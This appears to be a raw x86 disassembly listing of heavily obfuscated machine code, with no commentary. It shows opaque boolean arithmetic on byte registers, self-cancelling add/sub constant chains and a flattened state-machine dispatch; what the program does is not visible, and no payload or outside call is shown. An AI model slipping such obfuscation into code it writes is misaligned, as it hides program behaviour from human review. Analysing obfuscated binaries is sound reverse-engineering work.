mov dh, 1
xor dh, 1
mov bh, dh
and bh, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or al, bh
or ch, dh
xor al, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov ch, dh
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or ch, dh
or al, ah
xor ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
mov bh, bl
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or bh, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
or al, cl
mov byte [ebp - 0x1fb], al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov al, bh
xor al, 0xff
mov dh, 1
xor dh, 0
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov dh, ah
xor dh, 0xff
mov cl, bl
xor cl, dh
mov dh, byte [ebp - 0x1fb]
and cl, bl
mov bl, 1
xor bl, 0
xor dh, bl
mov bl, byte [ebp - 0x1fb]
and dh, bl
mov byte [ebp - 0x201], dh
xor dl, 0xff
mov bl, ah
xor bl, 0xff
mov dh, 1
xor dh, 0
or dl, bl
or dh, 0
xor dl, 0xff
and dl, dh
mov byte [ebp - 0x200], dl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x202], bl
mov dl, cl
xor dl, 0xff
mov dh, 1
xor dh, 1
and bl, 0xff
and al, dh
mov byte [ebp - 0x204], al
mov al, dl
and al, 0xff
mov byte [ebp - 0x203], al
mov al, byte [ebp - 0x204]
and cl, dh
or bl, al
mov al, byte [ebp - 0x203]
or al, cl
mov cl, byte [ebp - 0x202]
xor bl, al
mov al, byte [ebp - 0x201]
or cl, dl
mov dl, byte [ebp - 0x200]
xor cl, 0xff
or dh, 1
and cl, dh
or bl, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x1fc], dh
xor dl, 0xff
mov cl, 1
xor cl, 0
mov byte [ebp - 0x1fd], cl
and dh, 0
and al, cl
mov cl, byte [ebp - 0x200]
mov byte [ebp - 0x1ff], al
mov al, dl
and al, 0
mov byte [ebp - 0x1fe], al
mov al, byte [ebp - 0x1fd]
and cl, al
mov al, byte [ebp - 0x1ff]
or dh, al
mov al, byte [ebp - 0x1fe]
or al, cl
mov cl, byte [ebp - 0x1fd]
xor dh, al
mov al, byte [ebp - 0x1fc]
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or dh, al
mov cl, bl
xor cl, 0xff
and cl, 0
mov al, 1
xor al, 0
and bl, al
mov dl, dh
xor dl, 0xff
and dl, 0
and dh, al
mov al, byte [ebp - 0x1fb]
or cl, bl
or dl, dh
xor cl, dl
mov byte [ebp - 0x1f8], cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov dl, cl
and dl, 0
and bh, dh
mov byte [ebp - 0x1fa], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x1f9], al
mov al, byte [ebp - 0x1fa]
or dl, al
mov al, byte [ebp - 0x1f9]
or bh, al
mov al, byte [ebp - 0x1f8]
xor dl, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or dl, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and dl, dh
or cl, dl
mov dl, ah
and dl, 0
xor ah, 0
or dl, ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and al, ah
mov bl, dh
and bl, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x1f7]
or bl, bh
xor cl, bl
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov byte [ebp - 0x1ee], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov dh, al
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov byte [ebp - 0x1f3], cl
mov bh, ch
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov dl, ch
and dl, ah
or bh, dl
mov dh, 1
xor dh, 0
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
or dh, dl
mov byte [ebp - 0x1f4], dh
mov ah, 1
xor ah, 0
mov dl, cl
xor dl, ah
and dl, cl
mov cl, dh
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, 1
xor cl, 0
mov al, bh
xor al, cl
and al, bh
xor dh, 0xff
mov cl, ch
xor cl, dh
and cl, ch
mov dh, dl
and dh, ah
xor dl, ah
or dh, dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 0
mov ch, dl
and ch, 0
and al, ah
mov byte [ebp - 0x1f6], al
mov al, bl
and al, 0
mov byte [ebp - 0x1f5], al
mov al, byte [ebp - 0x1f6]
and cl, ah
or ch, al
mov al, byte [ebp - 0x1f5]
or al, cl
mov cl, byte [ebp - 0x1f4]
xor ch, al
mov al, byte [ebp - 0x1f3]
or dl, bl
xor dl, 0xff
or ah, 0
and dl, ah
or ch, dl
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and dh, bl
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, bl
or ah, dh
or dl, ch
xor ah, dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x1f2], dh
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 0
and dh, 0
and al, dl
mov bl, ch
and bl, 0
and bh, dl
or dh, al
mov al, byte [ebp - 0x1f2]
or bl, bh
xor dh, bl
or al, ch
xor al, 0xff
or dl, 0
and al, dl
or dh, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dl, dh
or al, ch
xor dl, al
mov ch, 1
xor ch, 0
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dh, ch
and dh, 0
mov al, bl
and al, 0
mov byte [ebp - 0x1f1], al
mov al, bh
and al, 0
mov byte [ebp - 0x1f0], al
mov al, byte [ebp - 0x1f1]
and cl, bl
or dh, al
mov al, byte [ebp - 0x1f0]
or al, cl
mov cl, byte [ebp - 0x1ef]
xor dh, al
mov al, byte [ebp - 0x1ee]
or ch, bh
xor ch, 0xff
or bl, 0
and ch, bl
or dh, ch
xor dh, 0xff
mov ch, dl
xor ch, dh
and ch, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov bh, al
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
mov dh, al
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or bh, dh
or ah, ch
xor bh, ah
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov ch, 1
xor ch, 1
and ch, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or ch, bl
or ah, dh
xor ch, ah
xor al, 0xff
mov dh, ch
xor dh, 0xff
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
mov byte [ebp - 0x1ed], al
mov ah, dl
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
mov al, dl
and al, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ah, al
mov al, byte [ebp - 0x1ed]
or dh, bl
xor ah, dh
xor ah, 0xff
mov bl, 1
xor bl, 1
mov dh, 1
xor dh, 1
or ah, bl
or dh, 1
xor ah, 0xff
and ah, dh
mov byte [ebp - 0x1ea], ah
xor ch, 0xff
mov ah, dl
xor ah, ch
and ah, dl
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov dl, ch
and dl, 0
and bh, dh
mov byte [ebp - 0x1ec], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x1eb], al
mov al, byte [ebp - 0x1ec]
or dl, al
mov al, byte [ebp - 0x1eb]
or bh, al
mov al, byte [ebp - 0x1ea]
xor dl, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or dl, ch
mov byte [ebp - 0x1e9], dl
mov dl, al
xor dl, 0xff
mov bl, ah
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, dl
and ch, 0xff
and al, dh
mov bh, bl
and bh, 0xff
and ah, dh
or ch, al
mov al, byte [ebp - 0x1e9]
or bh, ah
mov ah, byte [ebp - 0x1e8]
xor ch, bh
or dl, bl
xor dl, 0xff
or dh, 1
and dl, dh
or ch, dl
mov dh, al
xor dh, 0xff
mov dl, ch
and dl, dh
xor ch, 0xff
and al, ch
or dl, al
mov al, cl
xor al, 0xff
mov bh, ah
xor bh, al
and bh, ah
mov bl, ah
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov al, cl
xor al, 0xff
and al, 0
and cl, ch
or bl, ah
or al, cl
xor bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dh, al
and dh, 0
and bh, cl
mov ch, ah
and ch, 0
and bl, cl
or dh, bh
or ch, bl
xor dh, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dh, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or ch, al
xor ch, 0xff
xor ch, 0
and ch, 0
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
xor dh, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 1
or dh, ah
or al, 1
xor dh, 0xff
and dh, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
xor al, 0xff
mov bl, 1
xor bl, 0
mov ah, 1
xor ah, 1
or al, bl
or ah, 1
xor al, 0xff
and al, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov byte [ebp - 0x1e7], ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
and al, dh
mov bh, bl
and bh, 0
and cl, dh
or ah, al
mov al, byte [ebp - 0x1e7]
or bh, cl
mov cl, byte [ebp - 0x1e6]
xor ah, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
mov dh, ah
and dh, ch
xor ah, 0xff
and al, ah
or dh, al
mov al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
mov bh, cl
and bh, ah
xor cl, 0xff
and cl, 1
or bh, cl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x1e5], ch
mov ah, bh
xor ah, 0xff
mov cl, 1
xor cl, 0
and ch, 0
and al, cl
mov bl, ah
and bl, 0
and bh, cl
or ch, al
mov al, byte [ebp - 0x1e5]
or bl, bh
xor ch, bl
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov cl, dh
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, dh
or al, ah
xor cl, al
mov bl, ch
xor bl, 0xff
and bl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or bl, ch
or al, ah
xor bl, al
mov bh, 1
xor bh, 1
and bh, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, ch
or al, ah
xor bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1e4], al
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
and al, 0xff
and cl, ah
mov dh, ch
and dh, 0xff
and bl, ah
or al, cl
mov cl, byte [ebp - 0x1e4]
or dh, bl
xor al, dh
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or al, cl
mov byte [ebp - 0x1e3], al
mov cl, 1
xor cl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
mov al, ch
and al, 1
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x1e3]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and al, ch
or cl, al
xor cl, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, al
and bl, dl
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa65842a8
mov ecx, 0x8fd5fe6f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov dword [ebp - 0x1a8], 0x3b2ed36e
jmp 0x4b4ff5
mov eax, dword [0x6525dc]
mov ecx, dword [0x6525d8]
mov edx, eax
sub edx, 0xbf5e281
add edx, 0xd4fdf110
add edx, 0xbf5e281
xor esi, esi
sub esi, 0xeec2338f
add edx, esi
add edx, 0x3fc10412
sub edx, 0xd4fdf110
sub edx, 0x3fc10412
add edx, 0x7fe32ebc
sub edx, 0xea94e8bf
sub edx, 0x7fe32ebc
sub edx, 0x18d4c428
sub edx, 1
add edx, 0x18d4c428
sub edx, 0xa1fe21cf
add edx, 0xea94e8bf
add edx, 0xa1fe21cf
sub edx, 0x1621c59a
sub edx, 0xd8714e86
add edx, 0x1621c59a
xor esi, esi
sub esi, 0xeec2338f
sub edx, esi
sub edx, 0xd1b5a250
add edx, 0xd8714e86
add edx, 0xd1b5a250
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl dl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dh, ah
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or cl, dh
or al, ch
xor cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov ch, dh
xor ch, 0xff
mov al, ah
xor al, ch
and al, ah
mov byte [ebp - 0x228], al
mov ch, 1
xor ch, 1
and ch, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0
and bl, 1
or ch, bh
mov bh, byte [ebp - 0x228]
or al, bl
xor ch, al
mov bl, 1
xor bl, 0
mov al, ch
xor al, bl
and al, ch
mov byte [ebp - 0x223], al
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov ch, cl
xor ch, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, ch
and al, 0
mov byte [ebp - 0x227], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0x225], al
mov al, byte [ebp - 0x228]
and al, bl
mov byte [ebp - 0x226], al
mov al, byte [ebp - 0x227]
or al, cl
mov cl, byte [ebp - 0x226]
mov byte [ebp - 0x224], al
mov al, byte [ebp - 0x225]
or al, cl
mov cl, byte [ebp - 0x224]
xor cl, al
mov al, byte [ebp - 0x223]
or ch, bh
xor ch, 0xff
or bl, 0
and ch, bl
or cl, ch
mov ch, al
and ch, dh
xor al, dh
or ch, al
mov dh, cl
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and cl, ch
or al, cl
mov byte [ebp - 0x20d], al
mov ch, dl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ch, al
mov al, 1
xor al, 1
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, 1
xor ch, 1
and ch, 1
mov cl, 1
xor cl, 1
and cl, 1
or ch, cl
mov dh, ch
xor dh, 0xff
mov cl, dl
xor cl, dh
and cl, dl
mov bl, 1
xor bl, 1
and bl, 1
mov dh, 1
xor dh, 1
and dh, 1
or bl, dh
mov bh, 1
xor bh, 1
mov dh, bl
xor dh, bh
and dh, bl
mov byte [ebp - 0x21f], dh
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov byte [ebp - 0x220], ch
mov ch, al
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dh, ch
and dh, 0
and al, bl
mov byte [ebp - 0x222], al
mov al, bh
and al, 0
mov byte [ebp - 0x221], al
mov al, byte [ebp - 0x222]
and cl, bl
or dh, al
mov al, byte [ebp - 0x221]
or al, cl
mov cl, byte [ebp - 0x220]
xor dh, al
mov al, byte [ebp - 0x21f]
or ch, bh
xor ch, 0xff
or bl, 0
and ch, bl
or dh, ch
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, dh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dh, bl
mov cl, ch
xor cl, 0xff
and cl, 0xff
and ch, bl
or al, dh
or cl, ch
xor al, cl
mov byte [ebp - 0x20c], al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov al, 1
xor al, 0
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, 1
xor ch, 0
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0
or ch, cl
mov cl, ch
xor cl, 0xff
xor cl, 0
and cl, 0
mov bl, 1
xor bl, 1
and bl, 1
mov dh, 1
xor dh, 1
and dh, 1
or bl, dh
mov bh, 1
xor bh, 0
mov dh, bl
xor dh, bh
and dh, bl
mov byte [ebp - 0x21b], dh
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov byte [ebp - 0x21c], ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov bh, 1
xor bh, 1
mov bl, ch
and bl, 0xff
and al, bh
mov byte [ebp - 0x21e], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x21d], al
mov al, byte [ebp - 0x21e]
and cl, bh
or bl, al
mov al, byte [ebp - 0x21d]
or al, cl
mov cl, byte [ebp - 0x21c]
xor bl, al
mov al, byte [ebp - 0x21b]
or ch, dh
mov dh, byte [ebp - 0x20d]
xor ch, 0xff
or bh, 1
and ch, bh
or bl, ch
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, bl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and bl, bh
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bh
or al, bl
or cl, ch
xor al, cl
mov byte [ebp - 0x206], al
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
mov ch, cl
and ch, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, ch
or al, cl
xor bl, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov al, 1
xor al, 1
mov bh, dh
and bh, al
mov cl, bl
xor cl, 0xff
and cl, 0xff
and bl, al
mov al, byte [ebp - 0x206]
or ch, bh
or cl, bl
xor ch, cl
xor dh, 0xff
mov cl, ch
xor cl, dh
and cl, ch
mov bh, al
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
and al, ch
or bh, al
mov dh, ah
xor dh, 0xff
and dh, 0
mov bl, 1
xor bl, 0
mov ch, ah
and ch, bl
mov al, bh
xor al, 0xff
and al, 0
and bh, bl
mov bl, byte [ebp - 0x206]
or dh, ch
mov ch, byte [ebp - 0x20c]
or al, bh
xor dh, al
xor dh, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or dh, ah
or al, 1
xor dh, 0xff
and dh, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov ah, ch
xor ah, 0xff
mov al, bh
and al, ah
xor bh, 0xff
mov ah, ch
and ah, bh
or al, ah
xor al, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or al, ch
or ah, 1
xor al, 0xff
and al, ah
mov byte [ebp - 0x212], al
mov ah, bl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, bl
or al, ch
xor ah, al
mov al, dl
xor al, 0xff
mov bl, ah
and bl, al
xor ah, 0xff
mov al, dl
and al, ah
or bl, al
xor bl, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or bl, dl
or al, 1
xor bl, 0xff
and bl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, cl
and dl, ah
or al, dl
mov byte [ebp - 0x217], al
mov dl, dh
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov ch, dh
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, ch
or al, ah
xor dl, al
mov ah, 1
xor ah, 1
and ah, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov ch, 1
xor ch, 1
and ch, 0
and bh, 1
or ah, al
mov al, byte [ebp - 0x217]
or ch, bh
xor ah, ch
xor al, 0xff
mov bh, 1
xor bh, 1
mov ch, 1
xor ch, 1
or al, bh
or ch, 1
xor al, 0xff
and al, ch
xor cl, 0xff
mov bh, ah
xor bh, 0xff
mov ch, 1
xor ch, 1
or cl, bh
or ch, 1
xor cl, 0xff
and cl, ch
mov byte [ebp - 0x21a], cl
mov ch, dl
xor ch, 0xff
mov cl, 1
xor cl, 1
mov bh, 1
xor bh, 0
or ch, cl
mov cl, byte [ebp - 0x21a]
or bh, 0
xor ch, 0xff
and ch, bh
mov byte [ebp - 0x214], ch
mov bh, ah
xor bh, 0xff
mov ch, dh
xor ch, bh
and ch, dh
mov dh, al
xor dh, 0xff
xor cl, 0xff
mov byte [ebp - 0x216], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x215], cl
mov bh, dh
and bh, 0
and al, cl
mov cl, byte [ebp - 0x21a]
mov byte [ebp - 0x219], al
mov al, byte [ebp - 0x216]
and al, 0
mov byte [ebp - 0x218], al
mov al, byte [ebp - 0x215]
and cl, al
mov al, byte [ebp - 0x219]
or bh, al
mov al, byte [ebp - 0x218]
or al, cl
mov cl, byte [ebp - 0x217]
xor bh, al
mov al, byte [ebp - 0x216]
or dh, al
mov al, byte [ebp - 0x215]
xor dh, 0xff
or al, 0
and dh, al
mov al, byte [ebp - 0x214]
or bh, dh
mov dh, al
and dh, ch
xor al, ch
or dh, al
mov al, bh
xor al, 0xff
and al, 0
mov byte [ebp - 0x213], al
mov al, 1
xor al, 0
and bh, al
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, al
mov al, byte [ebp - 0x213]
or al, bh
or ch, dh
xor al, ch
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
mov dl, ah
and dl, 1
xor ah, 1
or dl, ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dl, cl
and dl, 0
and al, ah
mov dh, ch
and dh, 0
and bh, ah
or dl, al
mov al, byte [ebp - 0x212]
or dh, bh
xor dl, dh
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or dl, cl
mov ch, al
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
mov dh, al
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or ch, dh
or cl, ah
xor ch, cl
mov bh, bl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov cl, bl
and cl, ah
or bh, cl
mov dh, 1
xor dh, 0
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
or dh, cl
mov ah, 1
xor ah, 0
mov cl, ch
xor cl, ah
and cl, ch
mov byte [ebp - 0x210], cl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0x211], al
mov al, bh
xor al, 0xff
mov cl, 1
xor cl, 0
mov ah, 1
xor ah, 0
or al, cl
mov cl, byte [ebp - 0x211]
or ah, 0
xor al, 0xff
and al, ah
mov byte [ebp - 0x20f], al
xor bl, 0xff
mov al, dh
xor al, 0xff
mov ah, 1
xor ah, 0
or bl, al
mov al, byte [ebp - 0x210]
or ah, 0
xor bl, 0xff
and bl, ah
mov ah, al
and ah, cl
xor al, cl
mov cl, byte [ebp - 0x20f]
or ah, al
mov al, cl
and al, bl
xor cl, bl
or al, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x20e], cl
mov cl, 1
xor cl, 1
and ah, cl
mov bl, al
xor bl, 0xff
and bl, 0xff
and al, cl
mov cl, byte [ebp - 0x20e]
or cl, ah
mov ah, byte [ebp - 0x20c]
or bl, al
mov al, byte [ebp - 0x20d]
xor cl, bl
mov bl, ch
and bl, bh
xor ch, bh
or bl, ch
mov ch, bl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
and bl, bh
or ch, bl
mov bl, dh
and bl, 0
xor dh, 0
or bl, dh
xor bl, 0xff
mov dh, ch
xor dh, bl
and dh, ch
mov ch, cl
and ch, dh
xor cl, dh
or ch, cl
mov bl, dl
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
mov cl, dl
and cl, dh
or bl, cl
mov cl, ch
xor cl, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or cl, bl
or dh, 0
xor cl, 0xff
and cl, dh
mov dh, ch
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and ch, bl
or dh, ch
xor dh, 0xff
mov ch, dl
xor ch, dh
and ch, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov bl, al
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or cl, bl
or ch, dh
xor cl, ch
mov byte [ebp - 0x20a], cl
mov dh, ah
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and ah, ch
or dh, ah
mov ah, 1
xor ah, 0
and ah, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 0
mov ch, 1
xor ch, 1
and ch, 0
and bl, 1
or ah, bh
or ch, bl
xor ah, ch
mov bl, 1
xor bl, 0
mov ch, cl
xor ch, bl
and ch, cl
mov cl, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, dh
xor al, 0xff
mov cl, 1
xor cl, 0
mov bh, 1
xor bh, 1
or al, cl
mov cl, byte [ebp - 0x20c]
or bh, 1
xor al, 0xff
and al, bh
mov byte [ebp - 0x20b], al
xor cl, 0xff
mov al, ah
xor al, 0xff
mov bh, 1
xor bh, 0
or cl, al
mov al, byte [ebp - 0x20b]
or bh, 0
xor cl, 0xff
and cl, bh
mov bh, ch
and bh, bl
xor ch, bl
or bh, ch
mov bl, al
and bl, cl
xor al, cl
or bl, al
mov cl, bh
xor cl, 0xff
and cl, 0
mov al, 1
xor al, 0
and bh, al
mov ch, bl
xor ch, 0xff
and ch, 0
and bl, al
mov al, byte [ebp - 0x20a]
or cl, bh
or ch, bl
xor cl, ch
mov ch, al
and ch, dh
xor al, dh
or ch, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ch, dh
or al, ch
mov ch, ah
and ch, 0
xor ah, 0
or ch, ah
xor ch, 0xff
mov ah, al
xor ah, ch
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dh, al
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or ch, dh
or cl, ah
xor ch, cl
xor ch, 0xff
xor ch, 0
and ch, 0
mov dh, 1
xor dh, 0
and dh, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dh, bl
or cl, ah
xor dh, cl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
xor cl, 0xff
mov bl, 1
xor bl, 0
mov ah, 1
xor ah, 0
or cl, bl
or ah, 0
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x207], cl
mov ah, 1
xor ah, 1
xor dh, 0xff
mov cl, 1
xor cl, 0
or ah, dh
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, ch
xor cl, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dh, cl
and dh, 0
and ch, bl
mov byte [ebp - 0x209], ch
mov ch, bh
and ch, 0
and al, bl
